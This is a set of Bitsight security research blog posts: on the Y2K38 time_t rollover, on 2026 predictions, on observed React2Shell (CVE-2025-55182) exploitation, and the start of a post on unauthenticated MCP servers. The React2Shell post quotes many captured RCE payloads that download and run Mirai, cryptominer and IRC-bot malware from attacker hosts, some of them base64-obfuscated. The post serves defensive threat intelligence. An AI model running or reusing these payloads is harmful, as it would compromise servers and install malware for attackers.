Bitsight Research

Forward to the Past: The Y2K38 Problem Ahead

Eric Cisternelli — Mon, 19 Jan 2026 02:45:00 +0000

Forward to the Past: The Y2K38 Problem Ahead Eric Cisternelli Sun, 01/18/2026 - 21:45

Exactly twelve years from now, on January 19, 2038, at 03:14:08 UTC an unpredictable amount of computer systems will think they have been teleported in time more than 100 years, back to December 13, 1901. When that happens, millions of systems across all sectors of society, ranging from consumer products like smartphones, watches, household camera security systems, and car infotainment systems, to more critical devices like payment systems, medical devices, gas stations pumps, and critical industrial control systems, will suddenly start behaving in unpredictable ways.

We are talking about a synchronized planetary event with catastrophic potential. I wish there was a way of saying this without sounding some sort of doomsday apocalypse prophet. This isn’t that. And I wish this was some sort of marketing stunt, we would all be better off. But this isn’t that either.

This will happen. This has a fixed and known date. This is unavoidable. The only thing that we can change and try to control is how big the impact will be. By the time you finish reading this blog post, I hope it becomes clear to you that action is needed and we need to start working toward remediation as soon as possible. To understand the risk, we need to briefly understand where it comes from.

What exactly is the Y2K38 problem?

It all has to do with a very common (though not the only) way that computers store time: Unix time_t. Don’t be fooled by the name, this is not about Unix, not anymore anyway. Unix time is a way of measuring the amount of time that passed from a fixed date, called the epoch. Unix was already using the “seconds-since-epoch in an integer” model in the mid-1970s. Very early Unix timekeeping experimented with different epochs before settling on the now-standard 1970 epoch. The typedef name time_t crystallized in the ANSI C standard (C89, i.e., 1989) and later POSIX standardization. The Linux man-pages explicitly list time_t C89 as its origin in standards terms. This simple, elegant idea makes tracking and computing with time a relatively simple matter.

Interestingly, the first edition of the Unix Programmer's Manual (1971) actually defined time as "the time since 00:00:00, Jan. 1, 1971, measured in sixtieths of a second". Why the sixtieth of a second you ask? Because the PDP-11 computer used a "Line-Time Clock" that generated an interrupt at the AC power frequency (60Hz in the US). The frequency of the power grid actually defined time. But that was not quite useful, since this high resolution meant a 32-bit counter would overflow in only ~2.5 years.

The implementation of this idea eventually settled on time_t, defined as a 32-bit signed integer representing the number of seconds elapsed from 1970-01-01 00:00:00 UTC. This means that Unix Time spans from integer value -2 147 483 648 or 1901-12-13 20:45:52 UTC to integer value 2 147 483 647 or 2038-01-19 3:14:07 UTC. Dennis Ritchie, co-creator of C, is quoted to have said:
”'Let's pick one thing that's not going to overflow for a while.' 1970 seemed to be as good as any.” So time_t ends on January 19, 2038. What happens next is a rollover, effectively resetting time back to the start: December 13, 1901. Visually, it looks like this:

How deep does it go?

This is a tough one to answer and it is precisely part of the problem. Anything that uses C (or C-derived ABIs) and needs time. If a system is written in C, C++, or links against libc / POSIX APIs, there is a very high chance it either uses time_t directly or uses something that uses time_t internally. As you can imagine, that includes far more than Unix itself: Linux, BSDs,Solaris, AIX, HP-UX, VxWorks, FreeRTOS, Embedded Linux and BusyBox-based systems, Android (Bionic libc), are some other operating systems examples that use it.

But this is just the start. The problem is not even delimited by the operating system at all: core system libraries (including Windows MSVCRT), file-systems, database and data format fields, network protocols, embedded devices, firmware, and other programming languages (Perl, Python, PHP). All those are examples where time_t can manifest itself. The sheer volume of systems reliant on or utilizing time_t across our current planetary installed base is just overwhelming. They are, quite simply, everywhere.

Isn't there a quick fix?

The good news is that there is a technical fix: time64_t! Instead of using a 32-bit integer, we use a 64-bit integer. Easy. This will also roll over, in approximately 292 billion years (which is many times the current age of the universe), so it will likely buy us enough time to think about another solution. However, replacing time32_t for time64_t in practice requires updating not just code, but software development toolchains, ABIs, shared libraries, kernels and (frequently) hardware itself. That complexity is precisely where the challenge lies.
Nowadays most systems are 64-bit based and, in theory, are not vulnerable to the 2038 rollover anymore. Good news, right? Reality, it seems, is slightly more complex. Well… considerably more complex.

The bad news is that there is still a non-trivial amount of systems that are vulnerable to the Y2K38 vulnerability and we don’t know exactly how many or even where they are. Even 64-bit based systems can be vulnerable if they are, for example, using an old 32-bit binary or dataformat. And by non-trivial, we mean millions.

What can we see?

Leveraging our internal data sources has allowed Bitsight to start to gauge this problem. Measuring the amount of vulnerable systems at scale and with certainty is an extraordinary challenge, given the diversity of systems and the part of their stack that they can be affected. It is impossible to remotely assess all existing systems to begin with: there will be a big part, if not the biggest, that are not connected to the Internet at all.

But we can assess those systems that are reachable. There will be cases where it is possible to identify with confidence that a system is vulnerable and there will be cases that we need to consider a probabilistic approach. Both approaches help to determine the extent of this problem. Let’s look at some examples of things we can measure. For example, we can scan for server-side services that provide details about the underlying operating system, architecture and protocols.

NTP

The Network Time Protocol (NTP) is a critical standard used globally to synchronize computer clocks. It is utilized across a vast range of systems, including critical infrastructure. By analyzing this service, we can sometimes gain visibility into the underlying platform. We took a sample of approximately 1.5 million public-facing NTP services reachable, and out of those, roughly 200 000 provide enough details about their underlying version and architecture to perform a targeted assessment of their Y2K38 vulnerability risk.

Almost 60% of the reporting NTP servers are still running on old 32-bit operating systems. While the exact moment of failure cannot be universally certified without extensive testing, this architecture places them at a high risk of catastrophic failure on January 19, 2038.

A much more popular service, like web servers, is even more challenging, given that the servers rarely report the underlying architecture. Can you tell if the system is vulnerable to Y2K38 given a HTTP version string? It depends on the server software and version. Take these two examples: Bitsight sees around 900 000 Apache Debian and 500.000 Boa Web servers reachable via the Internet. These are servers that clearly identify with strings like Apache/2.4.61 (Debian) or Boa/0.94.13. There might be more that contain no version strings. But let’s focus on these for now.

Apache Debian

The Debian Linux distribution is one of the most widely used Linux distributions in the world. There are many more derivatives of this distribution too, like Ubuntu and Mint. One of the things Debian publishes regularly is statistics about the users that choose to share them. These statistics go as far back as 2004, which is really interesting. One of the datapoints gathered is architecture.

This is very useful for our problem, since it allows us to estimate how likely a system is to be running on a 32-bit architecture given how old it is. In fact, sometime around October 2012 was when the 64 bit architecture surpassed 32-bit architecture in terms of numbers:

At present day, there is still around 3% of all Debian systems running on a 32-bit architecture. If you correlate this with the date that each Apache Debian version was published, you can get a fair estimate of how many systems exposing HTTP servers are out there: around 76 000.

In fact, we know that any Linux system in general that is running on 32-bit with a kernel pre 5.6 (first launched in 2020) is vulnerable to Y2K38.

Boa Web Server

We stated previously that assessing Y2K38 systems via a web server depends on the server software and version. We described a probabilist approach to Debian linux as a proxy of how many systems are likely vulnerable, which does not translate to Boa Web Server. Boa is a small, fast, single-tasking HTTP web server written in C, created in the late 1990s with a very specific goal: serve embedded systems with extremely limited CPU, RAM, and storage. Boa was the default web UI server for embedded Linux for many years. The official distribution has also not been maintained since… 2005! It is used in routers, modems, IP cameras, DVRs / NVRs, printers, NAS, building management systems, ICS / OT HMIs, and the list goes on.

Boa almost always runs on 32-bit systems, so finding a Boa webserver exposed will most likely mean finding an underlying Y2K38 vulnerable system. There are around 500 000 of them and these are just the ones we can see connected to the Internet. Curiously, on September 18, 1999, the Y2K38 vulnerability was already acknowledged, in their Y2K compliance page :

“Boa is Year 2000 compliant. … The Unix(TM) and Unix-like systems for which Boa is designed generally store dates internally as signed 32-bit integers which contain the number of seconds since 1 January 1970, making the year 2000 irrelevant. On 32-bit computers (and 32-bit data structures, for example in file systems) one boundary to worry about is the year 2038, when that number will roll negative if treated as a signed number.“

ICS/OT

The ICS/OT space is one of the most concerning areas when it comes to Y2K38. Unlike consumer devices, which seem to be shipped with programmed obsolescence and frequently replaced, industrial control systems are meant to work for decades. Along with the fact that they control cyber physical processes and are often deployed in our critical infrastructure, this creates an additional concern. Think about this example that we already researched and documented: Automatic Fuel Gauges (ATGs). ATG systems play a role in our critical infrastructure by monitoring and managing fuel storage tanks, such as those found in everyday gas stations. These systems ensure that fuel levels are accurately tracked, leaks are detected early, and inventory is managed efficiently. Although the typical gas station comes to mind when thinking about fuel tanks, these systems also exist in other critical facilities, including military bases, hospitals, airports, emergency services, and power plants, to name a few. We’ve found many vulnerabilities in different systems in the past but last year CISA published some more that are specifically related to Y2K38: CVE-2025-55067 and CVE-2025-55068 (can be found in their respective ICSAs here and here)

Today, there are between 5 000 to 10 000 ATGs that are exposed worldwide. Most of them are suspected vulnerable to Y2K38, some have been confirmed already. These are the ones that are online and exposed. There are over 120 000 gas stations in the US alone. According to EPA, there are approximately 535 000 active tanks at approximately 192 000 facilities which are regulated by the UST program. How many of the half a million tanks have an ATG and how many are vulnerable to Y2K38? We don’t know. And that is a big problem.

Why the urgency?

The urgency is mostly about time to fix. I know, twelve years seems like a lot of time. But consider the past example of a similar effort that was previously mentioned: The Year 2000 bug. Fixing the Y2K bug was a massive global undertaking that cost hundreds of billions of dollars and spanned over 40 years of awareness, in some form, before its peak in the late 1990s. Bob Bemer is generally recognized as the earliest documented person to explicitly identify the two-digit year problem and this was in 1958. The brokerage industry began significant fixes in the 1980s to handle bond maturity dates. By 1987, the New York Stock Exchange had already spent over $20 million and hired 100 programmers dedicated to Y2K. The effort involved millions of developers and technicians worldwide. Programmers had to manually review, update, and test billions of lines of code. The panic, however, peaked in 1999, shortly after the creation of the International Y2K Cooperation Center by the UN in December 1998. There was a gigantic effort during the last couple of years leading to the year 2000 and then… nothing happened. Well, not nothing. There were still some issues here and there, but mitigations were largely a success. So much, that it was perceived that maybe the problem was unnecessarily inflated. For example, in Slovenia, the uneventfulness of Y2K was so anticlimactic that a top official was accused of exaggerating the danger and fired from his job. Ironically, its legacy is that its mitigations worked precisely because it was taken so seriously.

An understatement

Now, when I said a similar effort, this is a serious understatement. There are several reasons for that and we are going to focus on three major ones: scale, scope and status.

Scale

The main reason is the shear scale. In 1999, there were around 50 million internet connected systems. Today there are over 30 billion. That is an extraordinary increase, we are talking about more than 600 times increase in less than 30 years. There is no reason to believe that this growing trend will stop in the next decade. And that is just connected ‘stuff’. First we need to figure out what those vulnerable systems are, then we need to figure out where they are installed and how to fix them (if possible). Of course, we can’t just do this in random order, we will need to prioritise. Life supporting systems should not have the same priority of, let’s say, vending machines. But even prioritization can get tricky.

Take the example of smart TVs: we know (research undergoing) that there are a lot of smart TVs vulnerable to Y2K38. By the end of this year, it is projected that there will be 1 billion (!) smart TVs in the world. Why are they important for prioritization? Well, if they shut down in the middle of your favorite game, that is just unfortunate and annoying. But smart TVs are an information display device and are everywhere, from your living room to your hospital, from your company meeting room to your airport. What if a display stops in the middle of a surgery or a military operation? The device or system itself and how it fails is not enough to decide prioritization, it has to be analyzed in its usage context and the potential cascading effects.

Scope

Not only is the scale important but also the type of systems more prone to fail: those that use 32-bit architecture. 32-bit architecture is no mere relic of the past, it is still a specialized, high-performance standard that remains the cornerstone of embedded computing, the very 'stuff' that runs our world. Its usage dominates the "invisible" world of microcontrollers (MCUs) in critical sectors like automotive, industrial, building management systems and IoT. 32-bit architectures are still projected to hold a staggering 44% market share in 2026. These systems continue to favor 32-bit designs because they offer toolchains, efficiency, low cost, and a decades-long history of proven reliability in highly regulated fields like aerospace and medicine. We are still producing vulnerable systems today and bury them in our critical infrastructure! This is, besides scale, another reason similar effort was an understatement.

Imagine that we need to physically replace a big percentage of existing ATGs, like 50 000. An ATG replacement involves assessing the existing system, securing permits, and scheduling tank downtime, then backing up and removing the old console, probes, and sensors as needed. The new ATG is installed, wired, configured, calibrated, tested for leak detection compliance, inspected by the authority having jurisdiction, and only then returned to service. This takes time and requires specialized technicians, of which there are a finite supply. It also costs money, a lot of money. A rough estimate places this thought experiment exercise at a combined cost of ~$1-1.8 Billion USD, and would require around 3-6 years, with 4-5 years being the most realistic expectation given today’s technician, regulatory, and operational constraints. What about factory floors, how many systems need to be replaced there? And in power plants? Cars? Airplanes? Boats? Submarines? We don’t know and not knowing is a risk we cannot be willing to take. What we know is that the architecture we trusted most to handle complex, critical, real-time tasks is now at the heart of one of the most challenging planetary technological crisis.

Status

Lastly I would like to mention something that is not usually addressed. We are all assuming we have 12 years before this problem starts to manifest itself. We don’t. It will naturally start to occur sooner as we approach that date, as processes that depend on long time calculations start to fail. But there is a greater subtle threat: manipulating time is not extraordinarily complicated. NTP, the protocol used to synchronize time most systems use, is not a secure protocol. It is easy to spoof or manipulate. GPS signals, used by some NTP servers, cars and other field devices as a source of truth for time, can be easily and cheaply falsified too. Some systems allow for time to be changed remotely in an unauthenticated way.

What I’m saying is that this can be weaponized by threat actors today. Not in 12 years… today! We have been conducting tests at our ICS lab and it is definitely possible to manipulate both NTP and GPS to induce Y2K38 related vulnerabilities, crash systems, corrupt logs, deny access to devices and other undesired effects. And this is why Y2K38 is a vulnerability and not a bug. If an attacker has the ability to manipulate time in a device and affect the security CIA triad (confidentiality, integrity and availability), this is a vulnerability by definition. There are also advantages to looking at this as a vulnerability and not a bug. A bug has a JIRA ticket that gets lost in the ticket backlog. A vulnerability has a different status, it should have a CVE and we can leverage several frameworks (CVSS, EPSS, SSVC, <insert favorite one>) that allow for stakeholders to have better communication, understanding and prioritization.

Going forward

I hope by now that it is clear that the challenge we face ahead is a gigantic endeavor. There will be no single patch and no easy fix. Nobody, no company and not even no country can fix this single handedly. Awareness, cooperation, community and information sharing will prove paramount in our success or failure to handle this at scale.

You can’t fix what you don’t know. So this seems like a good first step: to identify which systems are potentially vulnerable and where they are. And that is exactly what we at Bitsight are doing. We are developing tools and techniques to aid in this effort. We are gaining understanding of this problem at planetary scale. We are sharing our knowledge and results at security conferences and many other different venues. What about you? What will be your role?

This is a global challenge and requires an “all hands on deck” approach. If you are curious or working on this problem, we welcome you to engage in an open dialogue to better understand Y2K38 identification, remediation and risk analysis. By sharing knowledge and working together, we can accelerate the solutions we all need.

Time is critical infrastructure. Proper time keeping and handling must not be underestimated. Without time, there is no trust, no security and no safety.

4 Predictions Our Researchers Say Could Break (or Break Through) in 2026

Eric Cisternelli — Thu, 15 Jan 2026 06:22:56 +0000

4 Predictions Our Researchers Say Could Break (or Break Through) in 2026 Eric Cisternelli Thu, 01/15/2026 - 01:22

As we step into 2026, Bitsight researchers are closely watching key developments across the cyber risk landscape. Their insights reveal a dynamic tension between rising threats and new opportunities to strengthen defenses. Here's what they predict for the year ahead, and what security teams should be prepared to navigate.

1. Fragmentation in vulnerability intelligence

Bitsight Principal Research Scientist Ben Edwards came remarkably close with his 2025 prediction, estimating there would be “between 48,675 and 58,956 new CVEs published.” The actual number (48,185) landed just shy of his lower bound. For 2026, however, he’s turning his attention to a different concern: fragmentation. “The vulnerability ecosystem will continue to fragment,” he predicts. “Different organizations and polities, both within and outside the Western world, are building their own tracking systems independent of CVE and will exert control over how vulnerabilities are reported and scored within their realm of influence. That will make it harder for users to effectively manage vulnerabilities.”

At the same time, he sees progress on the horizon. "We are finally going to have a better understanding of the correlation between cyber exposures and actual incidents, as the cyber insurance industry matures," Edwards adds. "We’ll be able to say how particular types of exposures (i.e. vulnerabilities, botnet infections, open ports) influence the likelihood and severity of incidents."

2. AI everywhere, but not always for good

Pedro Umbelino, Principal Research Scientist at Bitsight, starts with a familiar caveat: “Predictions are hard, especially about the future.” Still, he’s confident that 2026 will be filled with AI—whether it’s helpful or not: “Think about the Internet, almost everything is online nowadays. But just because we can connect our toilet to the Internet doesn't mean we should. I think we will get a lot of that regarding AI in the next couple of years: discussions on what makes sense versus what ends up happening anyway."

He’s also watching the IT/OT convergence in manufacturing. “Industry 5.0 is already overlapping with 4.0, expanding the attack surface at a very fast pace,” he explains, “but attackers will likely still be more focused on the IT side: the low-hanging fruit. I’m surprised we haven’t seen more ICS/OT attacks, but maybe that’s because cybercriminals haven’t found a profitable business model for it yet.”

Looking beyond 2026, Umbelino urges attention to a looming systemic risk: the Y2K38 problem, or the Epochalypse. “From the White House to the UN, I’ve had the honor of raising awareness about this issue. People think it’s like Y2K, but we have over 600 times more systems now. By 2038, it could be 1,000 times more. And we don’t have that much more money, time, or people to fix it.”

He concludes with a note of urgency and hope: “Society is becoming less proactive about long-term risks. Four-year election cycles don’t reward strategic spending. But we really need to get going on fixing Y2K38 while we still can. It’s more a desire than a prediction, but I honestly hope we’ll see some real movement on it this year.”

3. IoT and user risk will persist

João Godinho, Principal Research Scientist at Bitsight, warns that Internet of Things (IoT) threats are far from over: “As the number of IoT devices keeps increasing, and given their questionable supply chains, we'll likely keep more vulnerabilities in these devices. Threat actors will likely continue to take advantage of this to build their botnets for various purposes.”

He also points to unintended consequences of internet regulation: “We've recently seen multiple occasions where governments have imposed restrictions on internet access, such as the Online Safety Act in the UK or the Online Safety Amendment Act in Australia. As these types of policies become more common, we’ll likely see more users turning to services like proxies and VPNs to bypass restrictions. The concern is that less tech-savvy users may end up compromising themselves by relying on shady proxies that harvest data, or free VPNs that are involved in malicious activity.”

4. Critical infrastructure: A double-edged outlook

Threat Intelligence Researcher Emma Stevens predicts continued targeting of essential services: “Threat actors—especially advanced persistent threat groups and nation-state operators—will likely escalate their targeting of critical infrastructure and key resources. The Colonial Pipeline ransomware attack in 2021 is a stark reminder of what’s at stake; it shut down fuel operations and disrupted supply chains across Northern Virginia. More recently, the breach at the Municipal Water Authority of Aliquippa highlighted how exposed and under-defended water systems can be. Outdated infrastructure, exposed ICS/OT devices, and unpatched systems continue to give attackers ample opportunity.”

However, she thinks these high-profile incidents could also serve as a wake-up call. “They’re pushing the industry to strengthen its defenses. Regulatory scrutiny is increasing, security frameworks are evolving, and organizations are finally starting to modernize their ICS/OT environments,” she adds. “As a result we’ll hopefully see more proactive strategies, stronger response plans, and deeper investments in resilience, which will make these critical systems harder to compromise.”

Preparing for a complex year ahead

From fragmented vulnerability ecosystems to AI overreach and the persistent risks of outdated infrastructure, 2026 is poised to test even the most mature security programs. But it's also a year of opportunity.

At Bitsight, our researchers work deep within proprietary data to cut through noise and uncover actionable intelligence—emerging vulnerabilities, systemic weaknesses, and infrastructure risks that matter most to security practitioners and leaders alike. Catch up on the latest Bitsight TRACE research, and stay tuned throughout the year to see what they discover next. (And how our predictions hold up.)

Report: 7.7 Million endpoint logs for sale & more

Stealer malware is thriving—especially Lumma and Risepro. These logs fuel ransomware, MFA bypass, and persistent access. It's $10 to compromise an account. Explore this and other insights the data reveals.

Read free report

CVE-2025-55182: First Days of React2Shell Exploitations

Eric Cisternelli — Thu, 18 Dec 2025 13:01:00 +0000

CVE-2025-55182: First Days of React2Shell Exploitations Eric Cisternelli Thu, 12/18/2025 - 08:01

On December 3rd Lachlan Davidson disclosed an unauthenticated remote code execution vulnerability in React Server Components (RSC) that exploits how React.js (and Next.js) decodes payloads sent to React Server Function endpoints. On December 4th we started observing fingerprinting attempts for these vulnerabilities and on December 5th we started observing exploitation attempts. React.js is used by 66% of the global digital supply, in the top 0.06% of all technologies.

It took less than 48h for threat actors to start exploiting this RCE vulnerability, and based on Groma observations and findings, we estimate over 50% of exposed instances to be vulnerable, making it critical to address this vulnerability to mitigate exploitations.

Figure 1. Timeline of React2Shell disclosure and exploitation.

These vulnerabilities have been identified as CVE-2025-55182 and CVE-2025-66478, although the latter has been rejected as a duplicate of the former. In this blog post we’ll share our observations of the exploitations of this RCE vulnerability, that include:

Over 68k requests related to React2Shell across our honeypots
65 Unique IPs fingerprinting or exploiting React2Shell
60 Unique RCE payloads
InfectedSlurs, Rondo and Outlaw botnets exploiting React2Shell
3 different mining botnets
3 different Mirai payloads

Observations

From the time React2Shell was disclosed up until December 9th our honeypots had over 68k requests that were directly related to the React2Shell vulnerability. Of these 68k requests, 66k (97%) were attempting to exploit the RCE and of those, less than 5k (7%) contain actual malicious code (i.e. were exfiltrating information and/or fetching other payloads).

Of all the nearly 5k payloads, there were only 42 unique different exploits being used, showing the intensive enumeration by threat actors against IPs and ports. We observed these payloads being run against 60 different ports, with the top 5 being: 3000, 3001, 3002, 80 and 8080.

InfectedSlurs Botnet

This botnet was first described in 2023 by Akamai and the operators quickly started exploiting React2Shell with TTPs identical to what have been previously reported. They drop both Mirai and XMRig and we’ve observed the following two payloads:

process.mainModule.require('child_process').exec('cd 
/dev/shm;rm -rf poop;busybox wget 
http://89.144.31[.]18/poop;./poop &');

var 
res=process.mainModule.require('child_process').execSync('(cd 
/dev;busybox wget http://89.144.31[.]18/nuts/x86;chmod 777 
x86;./x86 reactOnMynuts;busybox wget -q http://89.144.31[.]18/nuts/bolts 
-O-|sh)',{'timeout':120000}).toString().trim();;throw 
Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});

We observed payloads between December 5th and December 9th with some minor variations. The domains (shown in IoCs) associated with the Mirai sample pre-date the React2Shell vulnerability, and the associated IPs have been used in other domains as well.

If we look at the associated mining pool wallet, we can see it’s been active before React2Shell, but the highest hashrate matches the period when we observed the React2Shell payloads, with numbers indicating a profit of around $200 per day. Currently the mining pool is inactive, but we cannot confirm if they’ve changed their wallet, since they’re using XMRig Proxy.

We’ve observed this threat sending the exploit to 46 different ports, with the majority of exploits using port 3000 and 80, and their attempts accounted for 23% of our observations.

Rondo

This botnet is known for using a large number of exploits and they were quick on adding React2Shell to their arsenal. Our first observation of their payload (shown below) was on December 6th and as of the writing of this post they’re still actively running this exploit almost exclusively, which is an interesting change of methodology from the threat actors. They went from dozens of different exploits to running a single exploit only.

process.mainModule.require('child_process').execSync('(wget
-qO- http://41.231.37[.]153/rondo.aqu.sh||busybox wget -qO-
http://41.231.37[.]153/rondo.aqu.sh||curl -s 
http://41.231.37[.]153/rondo.aqu.sh)|sh&');

These threat actors were exploiting this threat against only 5 ports (3000, 8080, 80, 3001 and 3002) but we observed nearly 21k exploitation attempts, which accounts for nearly 31% of our React2Shell observations.

Outlaw

One interesting find in our observations was the presence of exploits from the Outlaw botnet. This botnet has been known since 2018, and uses IRC as its communication channel. We observed exploitations by this botnet starting on December 6th and they’re still ongoing with the payload shown below:

var 
res=process.mainModule.require('child_process').execSync('echo KHdnZXQgLXFPIC0gMjMuMTMyLjE2NC4xNTUvbm90cm9vdGVyLnBsfHxjdXJsIC
1zIDIzLjEzMi4xNjQuMTU1L25vdHJvb3Rlci5wbHx8d2dhdCAtcU8gLSAyMy4x
MzIuMTY0LjE1NS9ub3Ryb290ZXIucGx8fGNhdWwgLXMgMjMuMTMyLjE2NC4xNT
Uvbm90cm9vdGVyLnBsKXxwZXJsCg==|base64 
-d|bash').toString().trim();;throw Object.assign(new 
Error('NEXT_REDIRECT'),{digest: 
`NEXT_REDIRECT;push;/login?a=${res};307;`});

Even though we observed payloads with slightly different base64 strings, the content was always identical with the main purpose of fetching a script from another IP and running it:

(wget -qO - 23.132.164[.]155/notrooter.pl||curl -s 
23.132.164[.]155/notrooter.pl||wgat -qO - 
23.132.164[.]155/notrooter.pl||caul -s 
23.132.164[.]155/notrooter.pl)|perl

(wget -qO - 144.31.5[.]11/bk.sh||curl -s 
193.56.28[.]202/bk.sh||wgat -qO - 144.31.5[.]11/bk.sh||caul -s 
193.56.28[.]202/bk.sh)|bash

Their infection chain contains obfuscated bash and perl scripts that dynamically decode and decrypt themselves with the purpose of dropping Shellbot (IRC bot for C2), cleaning other malware and dropping Global Socket to allow direct connection by the threat actors to the infected machine. An example of how they’re obfuscating the script is shown below in Fig. 2, where a Perl script contains a single line readable code and multiple seemingly random bytes. The deobfuscation process is simply a matter of removing all newlines and carriage returns, replacing spaces by 0 and tabs by 1, and decoding the binary result, which returns another Perl script.

Figure 2. Perl obfuscated script.

The threat actors go through some effort of hiding the entire infection chain, not only through obfuscation and encryption, but also by using the IRC bot for further enumeration and deployment of further payloads. Although this threat is known for deploying a crypto miner, we weren't able to reach the miner phase.

It’s worth noting that many of the IPs we’ve observed scanning and exploiting React2Shell appear to be residential IPs, potentially from other compromised machines.

Mining

One of the common, if not the most common, abuses for exposed services is the deployment of crypto mining software. For threat actors this is a low effort vector that can provide some profit if enough services are compromised. The biggest problem for threat actors here are other threat actors, which consequently makes threat actors compete against each other for compromised machines, going to the effort of removing other mining software and even patching vulnerabilities to prevent further compromises.

React2Shell exploits are no exception to this kind of abuse and consequently the higher variety of payloads we saw related to crypto mining, which we’ll briefly cover in this section.

One of the clusters we observed followed the pattern shown below, which were exploiting between December 6th and December 8th always from the same IP. We’ve identified this cluster to be associated with RustoBot, which was first described in April 2025 by Fortinet.

return 
process.mainModule.require('child_process').execSync('cd /tmp;
wget http://gfxnick.emerald.usbx[.]me/bot; chmod 777 bot; 
./bot || cd /tmp; curl -O 
http://gfxnick.emerald.usbx[.]me/bot; chmod 777 bot; ./bot 
');//

return 
process.mainModule.require('child_process').execSync('cd /tmp; 
wget http://176.117.107[.]158/bot; chmod 777 bot; ./bot || cd 
/tmp; curl -O http://176.117.107[.]158/bot; chmod 777 bot; 
./bot ');//

return process.mainModule.require('child_process').execSync('cd /tmp; 
wget https://f003.backblazeb2[.]com/file/mova12/98201-1-8/bot; 
chmod 777 bot; ./bot || cd /tmp; curl -O 
https://f003.backblazeb2[.]com/file/mova12/98201-1-8/bot; 
chmod 777 bot; ./bot ');//

return 
process.mainModule.require('child_process').execSync('cd /tmp; 
wget http://176.117.107[.]154/bot; chmod 777 bot; ./bot || cd 
/tmp; curl -O http://176.117.107[.]154/bot; chmod 777 bot; 
./bot ');//

return 
process.mainModule.require('child_process').execSync('rm -rf 
/tmp;cd /tmp; wget http://176.117.107[.]158/bot; chmod 777 
bot; ./bot || cd /tmp; curl -O http://176.117.107[.]158/bot; 
chmod 777 bot; ./bot');//

return 
process.mainModule.require('child_process').execSync('cd /tmp;rm -rf *;cd
 /tmp;wget http://176.117.107.158/r.sh; chmod 
777 r.sh; sh r.sh || cd /var/tmp; curl -O 
http://176.117.107.158/r.sh; chmod 777 r.sh; sh r.sh');//

Another cluster we’ve observed was sending the following payloads between December 7th and December 8th:

process.mainModule.require('child_process').execSync('curl -s 
-L 
https://raw.githubusercontent[.]com/C3Pool/xmrig_setup/master/
setup_c3pool_miner.sh | bash -s 87LAcEgsDk5FmhGarZJrenG4NDAhXD3EQDneyZkRMNit6gqCryMe8oE3CJPBR17tGQFvdEWaNW3rWgJRFTcEBGjmEXf3XSo');

process.mainModule.require('child_process').execSync('pkill -f 
watcher; export HOME=/tmp; curl -s -L 
http://31.56.27[.]97/scripts/4thepool_miner.sh | bash -s');

We've grouped these payloads based on the source IP address and payload content, and we saw 2 different IPs as part of this cluster. One of the addresses associated with this cluster showed, at the time of writing, over 200 active workers, but a low hash rate that would be yielding around 5USD/day. Based on the used infrastructure for this cluster we believe this is also a known mining cluster.

Another example of a mining cluster we’ve observed was sending payloads between December 6th and December 9th with a base64 encoded payload that would drop a XMRig miner:

const cp = process.mainModule.require('child_process');const 
result = cp.execSync('echo KGN1cmwgLWsgaHR0cDovLzU5LjcuMjE3LjI0NTo3MDcwL2Muc2h8fHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcSAtTy0gaHR0cDovLzU5LjcuMjE3LjI0NTo3MDcwL2Muc2gpPj4vdmFyL3RtcC81LnNo|base64 -d|sh', { timeout: 
5000 }).toString().trim();const err = new 
Error('NEXT_REDIRECT');err.digest = result;throw err;

Mirai

Besides mining, a very common malicious software that is observed scanning and exploiting internet connected devices is Mirai or some variant of it. Given that Mirai source code is available for anyone to compile their own version of it, we grouped all our Mirai observations in this section, as we did not fully analyzed each sample to understand if they were sharing the same C2 or not. We’ve observed exploits dropping Mirai from December 6th to December 9th.

process.mainModule.require('child_process').execSync('cd 
/tmp; rm x86; wget http://213.209.143[.]115/x86; chmod 777 x86; 
./x86 nextjs');

var 
res=process.mainModule.require('child_process').execSync('cd 
/tmp && (wget -q http://158.94.209[.]210/bins/UnHAnaAW.x86 -O 
.systemd || curl -s http://158.94.209[.]210/bins/UnHAnaAW.x86 
-o .systemd) && chmod +x .systemd && ./.systemd x86_64 && rm 
-f .systemd').toString().trim();;throw Object.assign(new 
Error('NEXT_REDIRECT'),{digest: 
`NEXT_REDIRECT;push;/login?a=${res};307;`});

Indicators of Compromise

The IoCs for our observations are available here.

Conclusion

Our observations showed how quick threat actors are at capitalizing vulnerabilities, especially when it relates to unauthenticated remote code execution for such a widespread component like React.js and Next.js. While some threats are limited in consequences, like all the mining exploitations we’ve seen that focus on trying to make some quick profit out of vulnerable services, others like InfectedSlurs, Rondo, and Outlaw are more concerning, given they use implants that allow malicious actors to control the vulnerable service, leading to potential data exfiltration. Our observations are just a subset of what threat actors are doing with this vulnerability, and the reader shouldn't assume these are all the ongoing exploitations.

React2Shell is a perfect example of today’s reality. Major security events move fast, and organizations need intelligence that can keep up. Bitsight detected this vulnerability at scale within the first seventy-two hours of disclosure, giving customers early awareness of which assets were exposed and how quickly attackers were attempting to exploit them. That speed matters when threat actors begin scanning and compromising systems within hours.

Bitsight delivers visibility across your entire digital footprint, from cloud workloads to on-premises infrastructure, across your supply chain, and even into criminal underground activity. Bitsight Threat Intelligence (TI) and Third-Party Risk Management (TPRM) help organizations:

Identify internet-facing assets or vendors using affected Next.js versions or server-side React implementations that rely on the vulnerable RSC protocol.
Prioritize remediation based on the criticality of the upstream RSC vulnerability
Monitor frameworks and dependencies for high-severity vulnerabilities
Provide continuous insight into technology exposure across your third-party ecosystem

It’s 2 AM. Do You Know Which AIs Your MCP Server Is Talking To?

Eric Cisternelli — Thu, 11 Dec 2025 13:01:00 +0000

It’s 2 AM. Do You Know Which AIs Your MCP Server Is Talking To? Eric Cisternelli Thu, 12/11/2025 - 08:01

When Anthropic dropped the Model Context Protocol (MCP) in late 2024, it felt like the missing puzzle piece for AI tooling: a standard way for Large Language Models (LLMs) to talk to data sources, APIs, and pretty much anything else you can think of. Think of it as a USB-C port for AI, as the protocol’s creators like to say.

But like most shiny new standards, the devil’s in the details. Especially in those lines of documentation everyone tends to overlook in their rush to just get things working (been there, no judgment!). And when those details involve “optional authorization,” things can get interesting fast. That little caveat might be leaving thousands of MCP servers wide open to anyone who knows where to look.

This is the story of how we went hunting for exposed MCP servers on the internet and found hundreds that will not only tell a stranger exactly what tools and data they’re wired into, but will also cheerfully answer any question you throw at them. And when those strangers have malicious intent and know exactly what to do once they find these servers, the consequences can get very serious as we’ll see in a moment.

Note: For the sake of simplicity, when we talk about “exposed MCP servers,” we’re referring to servers that are not only accessible over the internet but also lack any form of authorization.

